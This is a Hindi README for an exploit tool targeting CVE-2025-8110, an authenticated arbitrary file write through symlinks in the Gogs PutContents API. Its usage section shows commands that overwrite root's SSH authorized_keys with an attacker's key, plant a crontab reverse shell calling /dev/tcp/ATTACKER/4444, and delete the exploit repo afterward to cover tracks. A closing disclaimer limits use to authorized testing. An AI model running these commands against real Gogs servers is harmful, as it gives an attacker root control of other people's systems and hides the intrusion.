
CVE-2025-8110 — Gogs <= 0.13.3 PutContents API में सिमलिंक ट्रैवर्सल के माध्यम से मनमानी फ़ाइल लेखन
Gogs <= 0.13.3 PutContents API (/api/v1/repos/:owner/:repo/contents/:path) के माध्यम से मनमानी फ़ाइल लेखन के लिए असुरक्षित है।
API निर्देशिका-ट्रैवर्सल अनुक्रमों (../) के लिए फ़ाइल पथों को मान्य करता है, लेकिन लिखने से पहले प्रतीकात्मक लिंक (सिमलिंक) को हल नहीं करता है। एक प्रमाणित उपयोगकर्ता सर्वर पर किसी भी फ़ाइल की ओर इशारा करने वाला एक सिमलिंक युक्त कमिट पुश कर सकता है, फिर उस सिमलिंक पर PutContents को कॉल करके लक्ष्य फ़ाइल को हमलावर-नियंत्रित सामग्री से ओवरराइट कर सकता है।
जब Gogs रूट (Docker और कई तैनातियों में डिफ़ॉल्ट) के रूप में चलता है, तो इसके परिणामस्वरूप पूर्ण सिस्टम से समझौता होता है।
| विवरण | मान |
|---|---|
| CVE | CVE-2025-8110 |
| प्रभावित | Gogs <= 0.13.3 |
| प्रकार | प्रमाणित मनमानी फ़ाइल लेखन → RCE |
| CVSS | 8.8 (उच्च) |
| घटक | PutContents API |
requests (pip install requests)git CLI# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys) की ओर इशारा करने वाला एक सिमलिंक बनाएँ, कमिट करें और पुश करें।रूट) के रूप में वास्तविक फ़ाइल में हमलावर सामग्री लिखता है।--url Gogs आधार URL (जैसे http://target:3001)
-u, --user Gogs उपयोगकर्ता नाम
-p, --password Gogs पासवर्ड
--register एक अस्थायी खाता स्व-पंजीकृत करें (कोई कैप्चा नहीं)
--target-file सर्वर पर ओवरराइट करने का पूर्ण पथ
--content लिखने के लिए स्ट्रिंग सामग्री
--content-file स्थानीय फ़ाइल जिसकी सामग्री लिखनी है
--repo बनाने के लिए रेपो का नाम (डिफ़ॉल्ट: यादृच्छिक)
--link-name रेपो में सिमलिंक फ़ाइलनाम (डिफ़ॉल्ट: payload)
--cleanup लिखने के बाद एक्सप्लॉइट रेपो को हटाएँ
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। जिम्मेदारी से उपयोग करें।